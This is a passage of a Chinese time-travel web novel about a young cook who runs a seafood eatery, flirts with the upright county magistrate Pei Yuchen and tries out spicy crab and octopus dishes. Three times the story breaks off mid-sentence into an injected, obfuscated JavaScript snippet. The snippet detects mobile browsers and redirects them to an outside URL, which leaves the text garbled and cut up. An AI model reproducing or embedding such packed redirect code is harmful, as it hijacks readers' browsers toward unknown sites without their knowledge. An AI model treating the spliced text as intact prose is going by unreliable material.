按捺不住的老李高声喊道:“丫头,再给我上一道酱烧鱼块!” 老李端起海鲜粥喝了一大口,软糯可口,用料丰富,鲜得不行,他一口鱼肉一口粥,搭配着吃,满足又惬意。 和老李有着同样感受的人不在少数,在场但凡尝过云记食肆吃食的人,没有一个不夸的。 18. 清蒸多宝鱼 午时,大堂内传来此起彼伏的喧哗声,钱婶掀开帘子出去查看,不一会儿,兴冲冲地跑回后厨,“楚沅,你猜我瞧见谁了?” 钱婶激动得脸颊通红,腮上的肉都在微微抖动,看她这幅样子,云楚沅还有什么不明白的,除了裴大县令还能有谁? 对于钱婶这种祖祖辈辈生活在小渔村的平民来说,去过最远的地方是县城,见过最大的官是县令,县令在他们眼中就是天一般的存在,皇帝再怎么高高在上,他们又没见过,自然没什么敬畏之心。 前些年,钱婶到临海县来买粮时,正巧偶遇过外出的老县令,那个阵仗令她永生难忘,提着刀的衙役们骑着一匹匹高头大马,在前方开道,高喊“县太爷出行,闲杂人等避让”。 老县令乘坐在八抬大轿上,轿身雕刻着精美花纹,一个稚童好奇地上前摸了摸,却被身强体壮的轿夫一把推开,啼哭声吵到了县令。 他掀开帘子露出饱经风霜的老脸,表情威严地说道:“冲撞本县令,乃冒犯朝廷命官之罪,本该杖责二十,念在你年幼,本官便从轻发落,赏你一板子吧。” 这话一出,现场鸦雀无声,稚童被家人死死捂住嘴,摁在地上磕头赔罪,衙役领命行事,象征性地打了一下,没下狠手,孩子却也疼的不行。 老县令震慑众人后,满意离去,自此,百姓们将民不与官斗一事深深刻在了骨子里。 钱婶见识过老县令的官威之后,好几日都没敢进城,就怕哪一天不小心冲撞了衙门里的人,被打板子。 原以为当官的,就是那样强横霸道,可裴昱臣的出现打破了临海县百姓对官员的刻板印象,他们体会到了何为心怀苍生、一心为民的好官。 钱婶听说了裴县令怒斩土匪的事迹,就一直想见见这位大家口中清正廉明的新县令。 方才她一出去就和裴县令打了个照面,哎哟,别的不说,就说这新县令的模样那可真是仪表堂堂啊,钱婶活了大半辈子,从未见过如此好看的男子,都说相由心生,这新来的裴县令是个好的! “钱婶,你也不用和我卖关子了,裴县令就是我请来的。”云楚沅语气淡定说道。 “什么?是小沅你请来的?你和裴县令的关系如此好?”钱婶惊得原地蹦了起来,她还以为裴县令是慕名而来吃饭的呢,没成想是被云楚沅请来的。 钱婶的眼神落在云楚沅的身上一顿,瞧她,只想着裴县令的容貌世间少见,却忘了他们小渔村长得最水灵的女娃了。 楚沅这丫头到县衙做厨娘,她和裴县令年纪相仿又郎才女貌的,莫不是对彼此起了心思吧! 钱婶一边想入非非,一边试探地问向云楚沅:“咳,云丫头呀,婶子没记错的话,你快十六了吧。” 云楚沅手上的动作一顿,看了钱婶一眼,发现她脸上写满了跃跃欲试,大概猜到了她问这话的意思。 她以前被问到年龄,下一步就会被问结婚了没,云楚沅想不到穿越到古代来,年轻了八岁,还是逃不过被催婚呀。 “我还小,离十六岁的生辰的生辰还早着呢。”云楚沅算了算日子,她已经穿越过来两个月了,原身的生日和她是同一天,正月二十,如今才四月份,还有八个月才十六。 虽然大燕朝女子十五、六岁出嫁是正常现象,但她身为穿越人士,显然不敢苟同。 反正她头上没有长辈,且能自己养活自己,成不成婚,什么时候成婚,还不是由她自己说了算。 “哎哟,那也不小了,婶子和你说,你可得早为自己打算,你没有父母,还带着两个小的,亲事可不好说。” 钱婶对云楚沅推心置腹,自己的女儿婚事坎坷,遭了不少冷眼,因此她才格外关心云楚沅的情况,怕她步了春香的后尘。 殊不知云楚沅对婚事的态度是可有可无,她何其有幸能重活一世,做自己想做的事才不会辜负上天给她的机会,若被世俗拘束,过于在意别人的眼光,岂不是白活了? “婶子,你看春香姐今日怎么样?”云楚沅将单子上的最后一样菜盛出锅,端着走向钱婶。 两人掀起帘子,瞧着大堂里来回走动的钱春香,她面带笑容,举止大方地向客人介绍菜肴,有客人吃完结账,她还会送出门,这一套行动下来,可见她的业务能力已经相当熟练。 看着得心应手的钱春香,和往日里判若两人的模样,钱婶沉默了,她明白了云楚沅的意思,如今的钱春香仿佛找到了新的人生方向,不再拘泥于嫁人。 “春香姐,油焖大虾好了!”云楚沅喊了一嗓子,将钱春香叫过来上菜。 “裴县令呢?”云楚沅四处看了一圈,没看见大堂里有裴昱臣的身影,这人不会是看她太忙,悄悄走了吧?他应当还没吃饭才对呀。 “裴大人说是来找你的,我把他请到后院坐了,楚河和楚清也跟去了。” 原来如此,云楚沅放下心来,所有客人点的菜都已经上齐了,她也该准备员工餐和裴昱臣的午膳了。 “行,你去送菜吧,我先去后院瞧瞧。” 云楚沅独自往后院走,钱婶则返回后厨刷碗,她已经对裴县令失了兴趣,再怎么好奇也瞧过模样了,也就是英俊了一点、年轻了一点,又没长个三头六臂,她就不去上赶着凑热闹了。 既然云楚沅没有成亲的想法,想必是还没开窍,那她和裴县令也没什么男女之情,想来是自己误会了,钱婶长叹一口气,专心干起了活。 —— “裴大人,等久了吧,实在抱歉。今日开张,客人实在是多,我一直忙到现在,还没来得及做饭,你稍等一会,我马上就做好。” 云楚沅一进到后院,看见坐在石凳上喝茶的俊秀男子,赶忙出声道歉。 裴昱臣将杯中茶水一饮而尽,笑着说道:“不打紧,我在教你的弟弟妹妹认字,不觉得等了很久。” 瞧瞧,这人都饿得直喝水了,肯定是为了宽慰她故意装作不着急的模样,想到这里,云楚沅心下愧疚不已。 “楚河,楚清,你们两个陪一陪县令大人,我去去就回。”云楚沅撂下这句话,转身跑走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950564|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好的,阿姐!” “知道啦。” 两个孩子趴着石桌上认真学识字,时不时抬头问些问题,裴昱臣耐心地教导他们,成了这两个村里孩子的启蒙老师。 “县令大人,你好聪明哦,听我阿姐说你是今年的新科状元,是第一名的意思吗?”云楚河好奇地问道。 “嗯,你想不想考第一名呀?” 云楚河想了想,不知道第一名有什么用处,是能吃还是能赚银子呀?这么想着,他也把这话问出了口。 童言无忌,裴昱臣并不介意云楚河说的胡话,而是仔细回答他的问题:“第一名是皇帝钦点的,是光宗耀祖、名满天下的大事,可不是能用银子买来的。而且我参加科举做官,不为名利,而是为了实现我的抱负。” “裴大人,那你的抱负是什么?是来临海县做县令吗?” “我来到临海县以前并不知晓这里是何处,但在哪里做官不是做呢,如今把临海县治理好,就是我的抱负。” 裴昱臣来到临海县后,想法与之前有些出入,他本以为在京城做大官才能发挥自身所有才华,向上建言献策,向下推行政令,造福黎民苍生。 如今想来,他先前的看法还太过狭隘,做大官需要钻营、需要权势,倒像是个泥潭,他不想趟浑水,所以远离了那里。 做小官虽无人问津,但却是能办实事的,他的一举一动会直接影响到百姓,因此裴昱臣上任之后并未有一丝一毫的松懈。 “哒哒哒。” 一阵轻快的脚步声由远及近传来,伴随着如黄鹂般清脆的声音,“裴大人,可以用膳了。” 云楚沅和钱婶各端了一个木盘上来,上面摆满了饭菜,除了酱烧鱼块、油焖大虾、炒花蛤这几样店里卖的吃食,她特意做了一道清蒸多宝鱼。 多宝鱼刺少肉嫩,只有一条主刺,使用起来方便。 清蒸鱼做起来十分简单,处理干净的鱼用刀划几刀,放上葱丝姜片上锅蒸半刻钟,出锅后倒掉蒸出的水,淋上豉汁和酱油,最后浇上热油激发出葱姜的香气。 “云姑娘,辛苦了,大家坐下来一起用膳吧。”裴昱臣看着满桌的美食,心痒难耐,他招呼众人一起吃。 钱婶诚惶诚恐:“大人,我怎能与您同坐一张桌子,我回后厨和女儿一同用膳就行。” 裴昱臣见她如此不自在,就叫她先离开,钱婶一溜烟儿地就跑走了。 “楚河,楚清,你们也一起吃吧。” 两个孩子看向云楚沅,见她点头同意,乐呵呵地坐下了。 云楚沅可不讲究那么多规矩,也没有觉得和县令同桌吃饭有什么不对,还热情地招呼道:“裴大人,快尝尝这道清蒸鱼味道如何。” 裴昱臣点头,先尝了她推荐的菜。 这道菜保留了原汁原味,却没有一点腥味,想必处理手法相当不错,吃起来细腻鲜嫩,不同于酱烧鱼重口味的浓郁,清蒸鱼宛如温柔的海风一般拂过舌尖。 “妙极。”裴昱臣言简意赅。 19. 正人君子 裴昱臣正襟危坐,用膳的姿态也是端着的,仿佛是坐在高堂之上断案,气势不减。 他伸出右手,缓缓将宽大的衣袖挽起些许,身上的官服有些影响他的发挥了,失策了,下回来云记食肆应当穿常服。 云楚河吃饭时都要挨着裴昱臣,他对这位县令大人充满好奇。 “裴县令,你是京城人士吗?家住何处?家中几口人呀?” “是的,我家住燕京城西的甜水巷,自小和母亲相依为命,我母亲已于五年前过世了。”裴昱臣不厌其烦地回答云楚河,提到母亲难免有些感伤。 他没见过自己的父亲,母亲也从未提起过父亲姓甚名谁,母亲裴氏靠卖豆腐把他拉扯大,供他读书,只可惜母亲没能看到他功成名就,这是他心中最大的遗憾。 瞧着裴昱臣情绪不佳的样子,云楚沅知道人家是想起伤心事了,她瞪了小弟一眼,说:“赶紧吃饭吧,就你话多。” 云楚河缩了缩脖子,埋头苦吃,不再言语。 裴昱臣瞧见他们姐弟俩的眉眼官司,和煦一笑,“不打紧,楚河这么聪明伶俐,我也喜欢和他说说话。” 云楚河抬起头来,得意洋洋地看向自家长姐,“阿姐,看我多讨人喜欢,裴县令都夸我聪明呢。” 嘿,这小子,给他点颜色他就开染坊。 “得了吧你,裴大人说句客套话,你还当真了?”云楚沅冲他翻了个白眼。 云楚河撅着嘴看向裴昱臣,“裴大哥,你得为我主持公道。” “哟呵,你这臭小子,还挺会套近乎,大哥都喊上了,我同意了吗?我可是家中最有话语权的大人。”云楚沅双手叉腰。 裴昱臣抚了抚额头,对眼前幼稚的两人很无奈,“我已逾二十岁,你们二人都可以唤我大哥,云姑娘我们相识已久,以异性兄妹相称也并无不可。” 云楚沅略感惊讶,看他一副奶油小生的模样,还以为不到十八呢,想不到年纪不小了。 不过即便如此,也比她的真实年龄小三岁,云楚沅心想,小弟弟,你得叫我姐姐! “裴大哥,你也别叫我云姑娘了,多见外呀,叫我楚沅便好。” 云楚沅心里想的是一回事,嘴上说出来的,又是另一回事,她就算自称姐姐,也没人信呀。 “好,楚沅。”裴昱臣面带微笑,神色自然地接话。 云楚清和云楚河很快用完膳,一前一后跑出去玩了,只留云楚沅和裴昱臣二人待在后院。 筷子再次朝那盘清蒸鱼伸去,男子的动作轻柔而又精准,如同蜻蜓点水一般,夹起了一块嫩鱼肉。 鱼肉送入口中,裴昱臣微微合上双眼,面容上浮现一抹享受之色,他薄唇轻抿,细细咀嚼,像是要将其所有滋味都品尝出来。 和他相比,云楚沅吃饭的姿态就显得过于粗俗,她敞着腿,大刀阔斧地坐着,没个正行,吃起东西来胡吃海塞的,嘴里的鱼肉还没咽下就又塞了只大虾,嘴唇周围油乎乎的一片。 “云姑娘,用膳不要太过着急,要细嚼慢咽,小心噎着。”裴昱臣夹菜的动作一丝不苟,虽不见急促,可他下筷的速度却不慢。 暗暗观察他许久的云楚沅哼笑一声,好你个小书生,看着斯斯文文的,鬼点子真多,叫我吃慢点,是怕抢不过我吧,哼,我偏不如你的意! 自认为看破裴昱臣小心思的云楚沅,非但没有放慢速度,反而捧起一大碗海鲜粥“吨吨吨”地往下灌,笑话,还没有谁吃饭速度能赢过她呢。 “噗……咳咳咳咳咳!” 乐极生悲,得意洋洋的云楚沅一下子被呛住了,捂住喉咙不停咳嗽,她欲哭无泪地望向小书生,这真是搬起石头砸自己的脚,比速度没赢过小书生,反而整到了自己。 不明真相的裴昱臣看着泪眼盈盈的女子,赶忙放下了碗筷,倾身过来拍打云楚沅的背部,担忧地问:“你没事吧,都说了,叫你小心一点了。” 男子无奈摇头,这姑娘的性子就像是个小孩子,调皮得很,吃饭的时候还要作怪,他收回手,提起茶壶为她倒了杯茶。 云楚沅的目光落在裴昱臣那双骨节分明的大手上,突然开口:“裴大人,男女授受不亲,你怎么能摸我呢?” 反应过来她在说什么的裴昱臣红了俊脸,他不敢回视那双明亮的眼眸,结结巴巴道:“我……我一时情急,没顾上那么多。” 他刻意回避云楚沅火热的视线,将手中的茶杯推至她的面前,轻声道:“你先喝杯茶缓一缓。” 云楚沅似笑非笑地打量着眼前的美男子,回想起了上次在书房发生的事,裴县令在外是铁面无私、清清冷冷的模样,怎么面对她就束手束脚了呢,瞧着还怪清纯呢。 她以前接触过的男人不是豪爽直率,就是花言巧语,男生不说点情话怎么追求女生?这种洁身自好的高岭之花显得格外吸引人。 巧了,云楚沅就好这一口,实不相瞒,她是个俗人,就喜欢看高冷之花被拉下泥潭的剧情。 对面的人儿时不时发出“嗤嗤嗤”的笑声,裴昱臣浑身不自在,他抬头看了一眼,正对上女子饿狼般的眼神,仿佛他是一只被盯上的小绵羊。 倘若有人看到这副性别对调的荒唐画面,保准要被惊掉下巴。 大燕朝比起前朝来说,已是开放了不少,女子能主动提和离,还能抛头露面地外出做生意,可人们根深蒂固的思想不是那么容易被改变的,特别还是在这封闭的临海县,就没有哪家女子会调戏男人的。 云楚沅冲着裴昱臣挑了挑细眉,戏谑一笑,这表情要是换个人来做可能就显得很猥琐,可在她这张圆润白净的小脸上做出搞怪的样子,倒添了几分俏皮。 她右手翘起兰花指,捏着茶杯举了起来,握在掌心中,用大拇指慢慢摩挲着杯沿,递到嘴边轻抿一口。 “咦,这茶水怎么有点甜?我没记错的话,方才裴大人用过此茶盏吧。” “轰”的一下,裴昱臣只觉气血上涌,整个人晕乎乎的。 他如坐针毡,额角毛处细密的汗水,脸色如同熟透的大虾一般,红透了,桌上摆放的那碟油焖大虾就是他此刻的真实写照。 云楚沅煞有其事地说道:“啧啧啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950565|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,裴大人,藏的挺深呀,我都没看出来你有这么多花花肠子!” “什……什么意思?”裴昱臣声若蚊蝇。 云楚沅给了他一个明知故问的眼神,抬起小巧的下巴,轻启红唇,娇声道:“哼,故意把自己用过的茶盏递给我,就是想要暗自表达心意吧。” 云楚沅心里憋笑,嘴上却不依不饶:“你想的真美,我可是要做大事业的女人,岂会被小小的男女之情绊住脚步,奉劝你一句,趁早收起心思,免得受伤。” 她的狂妄之语如同雨点一般“噼里啪啦”砸向裴昱臣,把向来能言善辩的裴县令说蒙了,他的薄唇张张合合,几次想要出声为自己辩解,却不知从何说起。 茶盏这事确实是他的疏忽,方才一时情急,只顾着云楚沅嗓子不舒服,想要给她倒水缓解一下,没有注意到这杯子是他用过的,这才使她误会了。 裴昱臣直到现在都没发现云楚沅是故意逗弄他的,方寸大乱的裴县令失去了平日里的冷静,他还真以为云楚沅误解他了,绞尽脑汁想要解释。 “云姑娘,在下发誓,对你绝无觊觎之心!裴某自诩正人君子,若对姑娘有意,定会三媒六聘娶姑娘过门,绝不会行如此卑劣之事!”裴昱臣的右手竖起三根手指,脸上满是凝重之色。 云楚沅的笑容一下子僵住了,不是吧,小古板这么不经逗? 她讪讪笑笑,尴尬地低下头,手指绕着耳边的青丝,若无其事地说道:“咳,裴大人,是我误会你了,我相信你的人品,这事是我的错。” 裴昱臣松了一口气:“不,该道歉的是我,我拿错了杯子,才造成了这番误会,我……” “停!”云楚沅一下子伸出手,掌心朝向裴昱臣,停在半空,止住了对方接下来的话。 “裴大人,咱们继续用膳吧。”云楚沅说完,低下头猛猛扒了两口饭,这已经是她第不知道多少次听见某人的道歉了,再听下去,她的耳朵都要起茧子了。 既然云楚沅不想听,裴昱臣自然不会再惹她心烦,也拿起筷子继续用膳。 方才的小插曲并未影响云楚沅,她依然吃嘛嘛香。 反观裴昱臣,心底泛起微微涟漪,宛如平静的湖面被投入一枚小石子,他的视线总是控制不住地落在对面的女子身上,瞧她的发髻上的珠钗愣神。 云楚沅发现裴昱臣无意识地用筷子戳着碗里的饭,不知在想什么,她饶有兴趣地盯着他,直至对方回神。 “为何盯着我看?”裴昱臣不解。 云楚沅笑眯眯道:“裴大人长得这般英俊,还不许人看了?” 裴昱臣蹙起眉头,对她说教了起来:“云姑娘,你此番行径,有失女儿家的矜持,女子不必非要端庄娴静,但不可言行无状,言语更不能如此直白放肆。” 他又语重心长地说道:“这些话你当着我的面说说便也罢了,切忌在外面不要如此行事,否则有损你的声誉。” “好的,裴大人,我只在你面前如此。”云楚沅眨眨眼,她又不是真的小色女,就是逗他玩的,怎么会随便对一个陌生人放浪形骸呢。 20. 香辣蟹和辣章鱼 裴昱臣这顿午膳吃的提心吊胆,生怕云楚沅再蹦出几句叫人应接不暇的戏言,这个小女子跳脱的性子属实令严肃刻板、循规蹈矩的裴县令难以招架。 离开云记食肆时,一阵微风吹过,裴昱臣长叹一口气,他感觉到后背凉飕飕的,原来他的官袍背面早已被冷汗浸透,湿漉漉的一大片。 后院里,云楚沅一边哼着小曲,一边收拾碗筷,钱婶眼神好奇地瞄了她两眼,“丫头,什么喜事叫你这么高兴?” 云楚沅笑意加深:“和县令大人共进午膳,这不是天大的喜事?” 钱婶满脸不信:“得了吧,裴县令走的时候一副满头大汗的样子,你们两人孤男寡女,共处后院,一定发生了什么事。” 不怪钱婶多想,盖因裴县令走时行色匆匆,不小心撞到她都未曾留意。 云楚沅秀眉微挑,右手掐腰,左手扶腮,嗔怪道:“诶,婶子,你可不要污蔑我和裴大人的清白,我这样如花似玉,中意我的男子多了去了,我可要好好挑一挑。” 见她这副没心没肺的样子,钱婶就知道这丫头现下是对裴县令没那个意思,不过要她说呀,世事无常,说不准哪天啊,两人就看对眼了。 “丫头,我倒想知道什么样的男子才能入你的眼。” 云楚沅认真想了想,回道:“我将来的相公要长得俊,有才华,他必须什么都听我的,我叫他往东就绝不往西,最重要的是,不许纳妾。” “楚沅啊,那你恐怕在临海县找不到这样的人选了,单说纳妾这一条,咱们小渔村穷,村民没有闲钱来纳妾,可你瞧瞧临海县有头有脸的人家,哪个不是三妻四妾的?”钱婶摇了摇头,对云楚沅不切实际的想法并不看好。 云楚沅毫不在意,别人纳不纳她管不着,可她未来的夫君不行,“找不到慢慢找,反正我是不会委曲求全的。婶子我问你,倘若钱叔有钱了,想纳妾,你会如何?” “他敢!”钱婶听到这个假设,怒目圆瞪,将手中的抹布用力摔到桌上。 瞧见钱婶这么大的反应,云楚沅捂着肚子笑个不行,“哈哈哈,婶子,你又何尝不是这样善妒呢?” 上回在钱家见到沉默寡言的钱叔,云楚沅就看出他是个妻管严来了,钱婶呵斥一声,他立马就怂了,这样女强男弱的家庭,大事小事自然全由女主人说了算。 怒气冲冲的钱婶对上云楚沅戏谑的眼神,立刻哑火了,她尴尬地捡起抹布继续擦桌子。 “咳,你这促狭丫头,还会打趣婶子我了!不是我吹,老钱家没有我哪有今天。当初我嫁进来的那一年,刚生完孩子,你钱叔腿受伤了干不了活,他爹娘身体也不好,我忙里忙外照顾一家老小,十里八乡都找不出像我这么好的媳妇。” 钱婶忆起往昔的苦日子,唏嘘不已,钱家没有她能有今日吗?她伺候公婆,为他们养老送终,又给老钱生了两个孩子,家里打理得井井有条,老钱要是相中别的女子,那真是丧良心! “婶子,我当然能理解你了,我以后也是要赚钱养家的,怎么可能找个朝三暮四的男人,那不是给自己添堵嘛。” “呃,这么一想,你说的有道理,以你的能力完全可以招赘。”钱婶被说服了,甚至开始为云楚沅出谋划策起来。 “小沅啊,以后找男人你可要擦亮眼,我听说西街有家卖点心的小娘子,嫁的男人不让她出来做生意,天天窝在家里带孩子呢,你可要引以为戒!招赘就挺好的,你家这门手艺不是传女不传男吗?你可以生个女儿跟你姓,以后把生意交给她。” 云楚沅哭笑不得,没想到她先前随口胡诌的话,让钱婶记到现在。 但招赘这事得慎重,以她对这个重男轻女的封建社会的了解,选择入赘的大多是凤凰男,她可不会挑个渣滓来给自己添堵。 “婶子,以后的事哪能说的准,我现在只想好好经营云记食肆,把小弟和小妹养大。”这两件事是云楚沅最在意的,至于两情相悦之人,有了蛮好,没有也不可惜。 午时已过,云记食肆也没什么客人,云楚沅坐在柜台后算账,忙碌了一个时辰,赚了二两银子。 这个收入算是很高了,其中有新店开张搞活动的缘故,也有裴昱臣的名人效应带来的热度,当然,最重要的原因还是她的厨艺惊艳四座。 趁着没有食客,云楚沅到后厨研究起了新菜式,为了尽快赚钱还债,匆忙开业,准备不足,菜单上的菜品都是她前段时日做过的,种类不多,她想添两样辣菜,却不知临海县人能否接受。 香辣蟹和辣炒章鱼是云楚沅定好的新菜,她打算做出来让钱婶和钱春香品评一下。 清晨阿汤哥来送货时,除了鱼虾、花蛤和海蛎子,还给云楚沅带了一筐梭子蟹和八爪鱼,是他昨日赶海的收获。 梭子蟹对半切开后,里面的蟹黄满满当当,颜色是鲜亮的橘黄色,像是半凝固的油脂一样柔软湿润,云楚沅吸了吸口水,这蟹可真肥! 螃蟹的切口处裹上淀粉,用来锁住蟹黄,切口朝下放入油中炸至定型。 接着准备香辣底料,姜蒜、豆酱、茱萸和花椒,热油爆香,炒出红油后放梭子蟹,加点黄酒去去腥,再加酱油、生抽和糖调味翻炒。 这股香香辣辣的味道飘到了大堂,钱婶、钱春香、云楚河和云楚清,在后厨门口张望。 “阿姐,你又做什么好吃的了?我刚吃完午膳,现在肚子鼓鼓的,吃不下。”云楚河摸摸肚子,语气充满遗憾。 “云丫头,这是什么味道,好独特呀,闻着竟还有些呛人。”钱婶深吸两口气,试图分析出其来源。 “这道香辣蟹加了茱萸。”云楚沅将盛好的菜展示给他们看,“要尝尝吗?我准备把它加入菜单中。” 一听这话,钱春香立马表示要尝一尝,她如今可是负责接待客人的,对菜品自然要如数家珍,每一道都要精准了解。 钱春香上手拿起半只螃蟹,轻咬一口。 蟹肉饱满,外壳酥脆,这无疑是她有生以来吃过最好吃的螃蟹了。 渔民们不太爱吃螃蟹,觉得它肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950566|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少还不好剥壳,有时候赶海遇到了都懒得捡,而且做法也相当简单,上锅蒸熟就行。 可这样的食材落在云楚沅的手中,简直是化腐朽为神奇,钱春香对这位邻家小妹简直佩服得五体投地,“小沅,你可真厉害!” 看钱春香吃得香,其他人也蠢蠢欲动起来。 钱婶搓了搓手,笑着说:“楚沅啊,虽然我很少吃茱萸,但我可以帮你尝尝新菜的味道如何。” “阿姐,小螃蟹肉那么少,我还能吃的下!”云楚河挺胸收腹,将小肚子吸了进去。 云楚清表情无辜地眨眨眼,撅起小嘴:“阿姐,我午时没吃饱。” 这三人这么积极帮她试菜,云楚沅自然不会拒绝,担心他们吃不了辣,云楚沅特意一人只给了半只,可她显然低估了美食的诱惑力。 “嘶,楚沅,我再尝尝,刚才没尝出啥味来。” “哈,好辣好辣,可我还想吃!” “阿姐,我……我还没吃饱。” 瞧着三人如出一辙的红嘴唇,云楚沅掩嘴笑道:“行了,既然你们喜欢吃,这些都给你们吧。” 说罢,她将盘子递到三人面前,又转头看向笑而不语的钱春香,问道:“春香姐,味道如何?你有什么建议吗?” “这香辣蟹的味道自是不用说,我就是担心有人吃不了辣。” 云楚沅也考虑过这个问题,可千人千味,食无定味,有人喜爱自然就有人不喜,但这完全不影响把辣菜加到菜单上,接受不了的人完全可以不点这道菜。 “这样吧,春香姐,你在菜单上写上香辣蟹后,画一团火的标识,提醒食客们这道菜是辣的,以后再添别的辣菜,你可以根据辣度画不同数量的火焰。” “好,客人点菜时,我也会提醒他们的。”钱春香应下后,出去改菜单了。 云楚沅刷锅后,开始做第二道菜,辣炒章鱼。 八爪鱼要仔细处理,除了去掉墨囊和牙齿外,还要浸泡揉搓掉粘液和吸盘里的泥沙。 焯过水的八爪鱼切成小段,用姜蒜和茱萸当佐料爆炒,调味后加入洋葱和韭菜做配菜,值得注意的是,炒八爪鱼的时间不能过长,这样容易使其口感变硬。 钱婶他们吃完香辣蟹,没想到还有下一道菜,鲜辣弹牙的口感,和香辣蟹相比又是一种截然不同的美味。 “嗝,太好吃了,根本停不下来!” 三人最后吃了个肚儿溜圆,扶着墙走出了后厨。 申时三刻,来吃饭的食客没有午时多,可香辣蟹和辣炒章鱼的出现引起了众人的骚动。 “辣菜,这倒新奇,临海县的食肆酒楼很少有卖的呀。” “正合我意,老子就好这一口辣!” “店丫头,你们家的香辣蟹辣到什么程度啊,我不太能吃辣,可旁边的大哥吃得实在太香了,我也想来一份。” 辣菜的受欢迎程度超过了云楚沅的预期,食客们纷纷大快朵颐,满头大汗也不停下,一边灌水一边吃,可见味道相当不错。 21. 海鲜蛋炒饭 首日营业,圆满结束,云楚沅带着小弟和小妹一起回到了县衙,一进正门就碰上了青竹。 “云姑娘回来啦?我们大人刚下值,正在后花园练剑呢,大人叫我出来看看你回来了没。” “我这就去准备晚膳,楚河、楚清,你们先回房吧。” “我不想回,青竹哥哥,我能去看裴大人练剑吗?” 云楚沅点点云楚河的脑袋,故作不满道:“裴大哥,裴大哥,这一整天你都挂在嘴边,你裴大哥有什么好的?叫你这样念念不忘,看来我这个长姐在你心中的地位,都得排在他后面了。” 云楚河吐了吐舌头,嬉笑着说:“我当然是和阿姐你最亲近,可我闲着也是闲着,想去找裴大哥玩嘛~阿姐你就允我去吧!” 小弟对裴昱臣的热情,云楚沅自然能够感受到,裴昱臣简直就是他的偶像,不过裴县令才貌双全、怀瑾握瑜、人中龙凤,勉强能当她小弟的偶像。 以前小弟只崇拜厨艺精湛的长姐,如今又多了一个裴昱臣,虽然云楚沅有点吃味,但不得不承认,裴昱臣确实优秀。 “行行行!你去吧,顺便叫你裴大哥教你两招!” “哇哦,阿姐你最好了!” 云楚沅翻了个白眼:“哼,同意你去找裴大哥我就好了?果然,他更重要吧!” “嘿嘿,阿姐,你最重要。”云楚河将脸贴近云楚沅的手背,讨好地蹭了蹭。 旁边看了许久的青竹,在听见云楚河对裴县令的称呼时,就意识到自家大人和云家人关系匪浅,想必这种小要求裴大人不会拒绝。 “那你随我来。”青竹牵着云楚河的手离开。 云楚沅将小妹送回西院后,独自一人来到了膳房,朱师傅正在灶台前忙着做府上众人的晚膳。 “朱师傅,做什么吃食呢?闻着真香。” 人未至,声先至,朱师傅一听,就知来者何人。 “哎哟,云姑娘你可真是抬举我了,我哪里比得上你的手艺?”朱师傅满面笑容地迎了出来。 自从上回吃过云楚沅做的米线后,朱师傅就被她折服了,偶尔还会向她请教调味方面的问题,当然朱师傅很有分寸,从来不会询问涉及到吃食配方的事。 毕竟他也是手艺人,明白这种传承的手艺,是不能轻易向外人透露的,只有拜师之后才能学。 云楚沅也很满意朱师傅的识趣,平日里也愿意指点他两下。 “朱师傅,你这道炒饭做的尚可,就是火候掌控差了点。”云楚沅盛了一口锅中的蛋炒饭尝了尝。 “哦?愿闻其详”朱师傅来了兴趣,这简简单单的一道炒饭难不成还能做出花来吗? “这样吧,今日晚膳我也做一道炒饭,给你亮一手!” “那感情好。”朱师傅激动得双手一拍,十分上道地为她打起了下手,又是盛米饭,又是敲鸡蛋的,把伙夫们该做的事都抢着干了。 云楚沅戴上自制的围裙,挽起袖子,将长长的秀发用一块碎花布包起来,站在灶台前整装待发,准备大显身手一番。 她准备做一份豪华版的海鲜蛋炒饭,特意叫朱师傅准备好虾仁和鱿鱼圈。 “做炒饭有三个秘诀,米饭的处理,翻炒的技巧以及火候的掌控。” “首先,这米饭最好用凉透的,那样的米饭水分少更容易分散,炒好的米才会不黏在一起,而是一粒一粒的。” 云楚沅放下热腾腾的米饭,掀开另一个木桶,那是午时剩的米饭,准备分给下人吃的。 “这样的米就正合适。” 朱师傅受教了,他以往做炒饭都是用现蒸的米饭,谁会想到给主家用剩饭做菜呢? 云楚沅将朱师傅打好的蛋液拌入米饭,重新敲了个鸡蛋,加了点盐和水进去,快速打散。 “蛋液加入少许水,会使其更蓬松,加盐便是提前调味,令鸡蛋的咸味分布均匀,而裹上蛋液的米饭炒出来金灿灿的,色泽更漂亮。” “原来光这蛋液的调配就有如此多的讲究啊。”朱师傅将云楚沅的话全都记下,这可都是人家的经验之谈啊,细节如此之多,怪不得做出来的膳食非比寻常。 